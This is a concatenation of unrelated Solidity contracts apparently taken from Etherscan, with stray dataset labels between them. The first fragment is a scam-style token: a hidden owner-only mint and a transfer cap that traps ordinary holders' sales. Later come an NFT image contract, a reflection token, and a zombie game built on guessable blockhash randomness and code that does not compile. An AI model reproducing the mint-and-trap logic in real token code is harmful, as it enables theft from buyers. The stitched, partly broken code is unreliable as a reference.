function setreflectrate(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function Reflect(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == public_address) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-21
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GenesisFaces {
function G_Face(uint32 traitId_) public pure returns (string[2] memory) {
string memory _header = "iVBORw0KGgoAAAANSUhEUgAAACIAAAAiBAMAAADIaRbxAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAAGFBMVEVHcE";
if (traitId_ == 0) return ["Face1", string(abi.encodePacked(_header, "z/z4QAAADjuXbHoGSsilVvWTeEakISyhCDAAAAAXRSTlMAQObYZgAAAKhJREFUKM/dkEEOwiAQRcmcwMEL2BG7p9MLVOgFCuyNSS/g/RdOKaU1bl35E1g8Psz/KPVPIlq2ywEEJgVOVwDzgEjtgMUkp9EizrJWAoky4Upu3INjFLQRoxsIuGolV/2A2Z7tTsSj2tDfqaMyHRyegNL0nF5bHtOL2aTAzCUPUDYu6vYaJj+Mew0J9UXGFL0fD+Xb6G3NU9q7z0tyzfs6fItA+R9/pjdTFxnoDQsrmwAAAABJRU5ErkJggg=="))];
if (traitId_ == 1) return ["Face2", string(abi.encodePacked(_header, "zAnGMAAACri1mWeEuCaEBUQyljUDKnHTBhAAAAAXRSTlMAQObYZgAAAKhJREFUKM/dkEEOwiAQRcmcwMEL2BG7p9MLVOgFCuyNSS/g/RdOKaU1bl35E1g8Psz/KPVPIlq2ywEEJgVOVwDzgEjtgMUkp9EizrJWAoky4Upu3INjFLQRoxsIuGolV/2A2Z7tTsSj2tDfqaMyHRyegNL0nF5bHtOL2aTAzCUPUDYu6vYaJj+Mew0J9UXGFL0fD+Xb6G3NU9q7z0tyzfs6fItA+R9/pjdTFxnoDQsrmwAAAABJRU5ErkJggg=="))];
if (traitId_ == 2) return ["Face3", string(abi.encodePacked(_header, "yAaEIAAAByXTtkUDJWRSs4LRxCNSHL20s4AAAAAXRSTlMAQObYZgAAAKhJREFUKM/dkEEOwiAQRcmcwMEL2BG7p9MLVOgFCuyNSS/g/RdOKaU1bl35E1g8Psz/KPVPIlq2ywEEJgVOVwDzgEjtgMUkp9EizrJWAoky4Upu3INjFLQRoxsIuGolV/2A2Z7tTsSj2tDfqaMyHRyegNL0nF5bHtOL2aTAzCUPUDYu6vYaJj+Mew0J9UXGFL0fD+Xb6G3NU9q7z0tyzfs6fItA+R9/pjdTFxnoDQsrmwAAAABJRU5ErkJggg=="))];
if (traitId_ == 3) return ["Face4", string(abi.encodePacked(_header, "xANCEAAAA5Lh4yKBkrIxUcFg4hGxH3tvhKAAAAAXRSTlMAQObYZgAAAKhJREFUKM/dkEEOwiAQRcmcwMEL2BG7p9MLVOgFCuyNSS/g/RdOKaU1bl35E1g8Psz/KPVPIlq2ywEEJgVOVwDzgEjtgMUkp9EizrJWAoky4Upu3INjFLQRoxsIuGolV/2A2Z7tTsSj2tDfqaMyHRyegNL0nF5bHtOL2aTAzCUPUDYu6vYaJj+Mew0J9UXGFL0fD+Xb6G3NU9q7z0tyzfs6fItA+R9/pjdTFxnoDQsrmwAAAABJRU5ErkJggg=="))];
if (traitId_ == 4) return ["Face5", string(abi.encodePacked(_header, "wAAAD/jSC3ZBV9PwpPJgQQBQAgDQD59sM9AAAAAXRSTlMAQObYZgAAAKhJREFUKM/dkDESwiAQRdkbuEpSy3qCsLmAgRwgA/Ra5ADev3FDCIlja+WfgeLxYf9HqX8S4rKdDiAwKnCmApgHImwHKiY5jZZolrUSSJgJV9JwD45J0Ea0OUOgVSu5mAfM9mZ3Ih7Vhv6OHZbp4OgKmKbn9Nry6F7MOgVmLnkAs3FRt9fQ+WHaa0ioLzKm6P14KN9Gb2ue0t59XpJr3tfhWwTM//gzvQFcHxsHssJ5uwAAAABJRU5ErkJggg=="))];
if (traitId_ == 5) return ["face6", string(abi.encodePacked(_header, "wAAAD/kYTjg3bHb2SsX1VvPTeESULx00trAAAAAXRSTlMAQObYZgAAAKhJREFUKM/dkDESwiAQRdkbuEpSy3qCsLmAgRwgA/Ra5ADev3FDCIlja+WfgeLxYf9HqX8S4rKdDiAwKnCmApgHImwHKiY5jZZolrUSSJgJV9JwD45J0Ea0OUOgVSu5mAfM9mZ3Ih7Vhv6OHZbp4OgKmKbn9Nry6F7MOgVmLnkAs3FRt9fQ+WHaa0ioLzKm6P14KN9Gb2ue0t59XpJr3tfhWwTM//gzvQFcHxsHssJ5uwAAAABJRU5ErkJggg=="))];
if (traitId_ == 6) return ["face7", string(abi.encodePacked(_header, "wAAAD/hLTjdqDHZIusVXdvN02EQlx8bd08AAAAAXRSTlMAQObYZgAAAKhJREFUKM/dkDESwiAQRdkbuEpSy3qCsLmAgRwgA/Ra5ADev3FDCIlja+WfgeLxYf9HqX8S4rKdDiAwKnCmApgHImwHKiY5jZZolrUSSJgJV9JwD45J0Ea0OUOgVSu5mAfM9mZ3Ih7Vhv6OHZbp4OgKmKbn9Nry6F7MOgVmLnkAs3FRt9fQ+WHaa0ioLzKm6P14KN9Gb2ue0t59XpJr3tfhWwTM//gzvQFcHxsHssJ5uwAAAABJRU5ErkJggg=="))];
if (traitId_ == 7) return ["face8", string(abi.encodePacked(_header, "wAAAD/hPHjdtbHZLysVaJvN2mEQn0itsgdAAAAAXRSTlMAQObYZgAAAKhJREFUKM/dkDESwiAQRdkbuEpSy3qCsLmAgRwgA/Ra5ADev3FDCIlja+WfgeLxYf9HqX8S4rKdDiAwKnCmApgHImwHKiY5jZZolrUSSJgJV9JwD45J0Ea0OUOgVSu5mAfM9mZ3Ih7Vhv6OHZbp4OgKmKbn9Nry6F7MOgVmLnkAs3FRt9fQ+WHaa0ioLzKm6P14KN9Gb2ue0t59XpJr3tfhWwTM//gzvQFcHxsHssJ5uwAAAABJRU5ErkJggg=="))];
if (traitId_ == 8) return ["face9", string(abi.encodePacked(_header, "zOhP8AAAC5duOgZMeKVaxZN29qQoRWXhUiAAAAAXRSTlMAQObYZgAAAKhJREFUKM/dkEEOwiAQRcmcwMEL2BG7p9MLVOgFCuyNSS/g/RdOKaU1bl35E1g8Psz/KPVPIlq2ywEEJgVOVwDzgEjtgMUkp9EizrJWAoky4Upu3INjFLQRoxsIuGolV/2A2Z7tTsSj2tDfqaMyHRyegNL0nF5bHtOL2aTAzCUPUDYu6vYaJj+Mew0J9UXGFL0fD+Xb6G3NU9q7z0tyzfs6fItA+R9/pjdTFxnoDQsrmwAAAABJRU5ErkJggg=="))];
if (traitId_ == 9) return ["face10", string(abi.encodePacked(_header, "yRhP8AAACDduNvZMdfVaw9N29JQoTbKO80AAAAAXRSTlMAQObYZgAAAKhJREFUKM/dkEEOwiAQRcmcwMEL2BG7p9MLVOgFCuyNSS/g/RdOKaU1bl35E1g8Psz/KPVPIlq2ywEEJgVOVwDzgEjtgMUkp9EizrJWAoky4Upu3INjFLQRoxsIuGolV/2A2Z7tTsSj2tDfqaMyHRyegNL0nF5bHtOL2aTAzCUPUDYu6vYaJj+Mew0J9UXGFL0fD+Xb6G3NU9q7z0tyzfs6fItA+R9/pjdTFxnoDQsrmwAAAABJRU5ErkJggg=="))];
if (traitId_ == 10) return ["face11", string(abi.encodePacked(_header, "yEtP8AAAB2oONki8dVd6w3TW9CXITh/G1qAAAAAXRSTlMAQObYZgAAAKhJREFUKM/dkEEOwiAQRcmcwMEL2BG7p9MLVOgFCuyNSS/g/RdOKaU1bl35E1g8Psz/KPVPIlq2ywEEJgVOVwDzgEjtgMUkp9EizrJWAoky4Upu3INjFLQRoxsIuGolV/2A2Z7tTsSj2tDfqaMyHRyegNL0nF5bHtOL2aTAzCUPUDYu6vYaJj+Mew0J9UXGFL0fD+Xb6G3NU9q7z0tyzfs6fItA+R9/pjdTFxnoDQsrmwAAAABJRU5ErkJggg=="))];
if (traitId_ == 11) return ["face12", string(abi.encodePacked(_header, "wAAACE8f921uNkvMdVoqw3aW9CfYSrI886AAAAAXRSTlMAQObYZgAAAKhJREFUKM/dkDESwiAQRdkbuEpSy3qCsLmAgRwgA/Ra5ADev3FDCIlja+WfgeLxYf9HqX8S4rKdDiAwKnCmApgHImwHKiY5jZZolrUSSJgJV9JwD45J0Ea0OUOgVSu5mAfM9mZ3Ih7Vhv6OHZbp4OgKmKbn9Nry6F7MOgVmLnkAs3FRt9fQ+WHaa0ioLzKm6P14KN9Gb2ue0t59XpJr3tfhWwTM//gzvQFcHxsHssJ5uwAAAABJRU5ErkJggg=="))];
if (traitId_ == 12) return ["face13", string(abi.encodePacked(_header, "wAAACE/85247lkx6BVrIo3b1lChGomxIssAAAAAXRSTlMAQObYZgAAAKhJREFUKM/dkDESwiAQRdkbuEpSy3qCsLmAgRwgA/Ra5ADev3FDCIlja+WfgeLxYf9HqX8S4rKdDiAwKnCmApgHImwHKiY5jZZolrUSSJgJV9JwD45J0Ea0OUOgVSu5mAfM9mZ3Ih7Vhv6OHZbp4OgKmKbn9Nry6F7MOgVmLnkAs3FRt9fQ+WHaa0ioLzKm6P14KN9Gb2ue0t59XpJr3tfhWwTM//gzvQFcHxsHssJ5uwAAAABJRU5ErkJggg=="))];
if (traitId_ == 13) return ["face14", string(abi.encodePacked(_header, "wAAACE/5F244Nkx29VrF83bz1ChEk7PceTAAAAAXRSTlMAQObYZgAAAKhJREFUKM/dkDESwiAQRdkbuEpSy3qCsLmAgRwgA/Ra5ADev3FDCIlja+WfgeLxYf9HqX8S4rKdDiAwKnCmApgHImwHKiY5jZZolrUSSJgJV9JwD45J0Ea0OUOgVSu5mAfM9mZ3Ih7Vhv6OHZbp4OgKmKbn9Nry6F7MOgVmLnkAs3FRt9fQ+WHaa0ioLzKm6P14KN9Gb2ue0t59XpJr3tfhWwTM//gzvQFcHxsHssJ5uwAAAABJRU5ErkJggg=="))];
if (traitId_ == 14) return ["face15", string(abi.encodePacked(_header, "y0/4QAAACg43aLx2R3rFVNbzdchEKu6LPFAAAAAXRSTlMAQObYZgAAAKhJREFUKM/dkEEOwiAQRcmcwMEL2BG7p9MLVOgFCuyNSS/g/RdOKaU1bl35E1g8Psz/KPVPIlq2ywEEJgVOVwDzgEjtgMUkp9EizrJWAoky4Upu3INjFLQRoxsIuGolV/2A2Z7tTsSj2tDfqaMyHRyegNL0nF5bHtOL2aTAzCUPUDYu6vYaJj+Mew0J9UXGFL0fD+Xb6G3NU9q7z0tyzfs6fItA+R9/pjdTFxnoDQsrmwAAAABJRU5ErkJggg=="))];
if (traitId_ == 15) return ["face16", string(abi.encodePacked(_header, "zx/4QAAADW43a8x2SirFVpbzd9hEJoH8dFAAAAAXRSTlMAQObYZgAAAKhJREFUKM/dkEEOwiAQRcmcwMEL2BG7p9MLVOgFCuyNSS/g/RdOKaU1bl35E1g8Psz/KPVPIlq2ywEEJgVOVwDzgEjtgMUkp9EizrJWAoky4Upu3INjFLQRoxsIuGolV/2A2Z7tTsSj2tDfqaMyHRyegNL0nF5bHtOL2aTAzCUPUDYu6vYaJj+Mew0J9UXGFL0fD+Xb6G3NU9q7z0tyzfs6fItA+R9/pjdTFxnoDQsrmwAAAABJRU5ErkJggg=="))];
return ["",""];
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PIMPINU is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'PIMP MY INU';
string private _symbol = 'PIMP';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = ((_tTotal * maxTxPercent) / 10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rTotal = _rTotal - rAmount;
_tFeeTotal = _tFeeTotal + tAmount;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return (rAmount / currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = ((tAmount / 100) * 2);
uint256 tTransferAmount = tAmount - tFee;
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rTransferAmount = rAmount - rFee;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return (rSupply / tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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pragma solidity ^0.4.16;
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract zombieToken {
function mint(address to, uint256 value) public returns (bool success);
}
contract zombieMain {
function checkAllOwner(uint256[] _tokenId, address owner) public view returns (bool);
function seeZombieRole(uint256 _tokenId) public view returns (uint16 roletype);
function seeZombieColor(uint256 _tokenId) public view returns (uint8 color);
function seeZombieStar(uint256 _tokenId) public view returns (uint8 star);
function seeZombieDna(uint256 _tokenId) public view returns (bytes32 dna);
}
contract zombieInvasion is Ownable{
using SafeMath for uint256;
zombieToken zombietoken = zombieToken(0x83B8C8A08938B878017fDF0Ec0A689313F75739D);
zombieMain zombiemain = zombieMain(0x58fd762F76D57C6fC2a480F6d26c1D03175AD64F);
struct Zombie {
uint32 readyTime;//剩餘可出戰時間
bool notAtHome; //是否離家
uint16 undeadsTime;//不死次數
}
struct Area {
uint starLimit;
uint8 TeamMemberlimitCount; // 5
uint8[] roletype; // 4,4,99,99,99
uint TotallimitTeamCount;
uint TotalTeamCount;
string name;
uint ZOBRevenue;
bool isOpen;
uint32 duration;
}
struct Team {
bool isCharge;
uint areaID;
uint[] Zombies;
uint32 awardTime;
address Owner;
bytes32 teamHash;
uint blocknumber;
}
Area[] public areas;
mapping (uint=>Zombie) public zombies;
mapping (bytes32=>Team) public teams;
event StartInvasion(bytes32 indexed teamhash, uint _areaId,uint[] _zombieId);
event AwardInvation(bytes32 indexed teamhash, bool InvationResult, uint ZOBRevenue);
modifier onlyOwnerOf(uint[] _zombieId) {
require(zombiemain.checkAllOwner(_zombieId, msg.sender));
_;
}
function startInvasion(uint _areaId, uint[] _zombieId) public onlyOwnerOf(_zombieId){
require(areas[_areaId].TotallimitTeamCount >= areas[_areaId].TotalTeamCount + 1);
require(areas[_areaId].isOpen);
require(areas[_areaId].TeamMemberlimitCount >= _zombieId.length);
bytes32 teamHash = block.blockhash(block.number-1);
for(uint16 i = 0; i<_zombieId.length; i++){
//確保殭屍都在家，並且可以出戰
require(now > zombies[_zombieId[i]].readyTime);
require(!zombies[_zombieId[i]].notAtHome);
teamHash = keccak256(teamHash,now,_areaId,zombiemain.seeZombieDna(_zombieId[i]));
zombies[_zombieId[i]].notAtHome = true;
zombies[_zombieId[i]].readyTime = uint32(now + areas[_areaId].duration);
}
//職業都必須符合條件
for(uint16 a = 0; a<areas[_areaId].roletype.length; a++){
if(areas[_areaId].roletype[a] == 99) continue;
if(zombiemain.seeZombieRole(_zombieId[a]) != areas[_areaId].roletype[a]) revert();
}
areas[_areaId].TotalTeamCount ++;
require(teams[teamHash].areaID == 0);
teams[teamHash] = Team(false,_areaId,_zombieId,uint32(now+areas[_areaId].duration),msg.sender,teamHash,block.number + 1);
StartInvasion(teamHash, _areaId, _zombieId);
}
function awardInvation(bytes32 _teamId) public {
require(teams[_teamId].Owner == msg.sender);
require(now >= teams[_teamId].awardTime);
require(!teams[_teamId].isCharge);
uint totalUndeadsTime;
uint totalStar;
uint dieNumber;
uint[] memory zb = teams[_teamId].Zombies;
for(i=0;i<zb.length;i++){
totalUndeadsTime += zombies[zb[i]].undeadsTime;
totalStar += zombiemain.seeZombieStar(zb[i]);
}
if(totalStar<areas[teams[_teamId].areaID].starLimit){
dieNumber = totalStar*9500/(areas[teams[_teamId].areaID].starLimit)+totalUndeadsTime*10;
}else{
dieNumber = totalStar*100/(areas[teams[_teamId].areaID].starLimit)+9500+totalUndeadsTime;
}
if(dieNumber <= uint(keccak256(teams[_teamId].teamHash, now, block.blockhash(block.number-1),block.blockhash(teams[_teamId].blocknumber))) % 10000) {
//Lose
for(uint16 i = 0; i<zb.length; i++){
zombies[zb[ii]].readyTime = uint32(now + 7 days);
zombies[zb[ii]].undeadsTime = 0;
zombies[zb[ii]].notAtHome = false;
}
AwardInvation(_teamId, false, 0);
} else {
//Win
for(uint16 ii = 0; ii<zb.length; ii++){
zombies[zb[ii]].undeadsTime ++;
zombies[zb[ii]].notAtHome = false;
}
zombietoken.mint(teams[_teamId].Owner, areas[teams[_teamId].areaID].ZOBRevenue);
AwardInvation(_teamId, true, areas[teams[_teamId].areaID].ZOBRevenue);
}
teams[_teamId].isCharge = true;
areas[teams[_teamId].areaID].TotalTeamCount --;
}
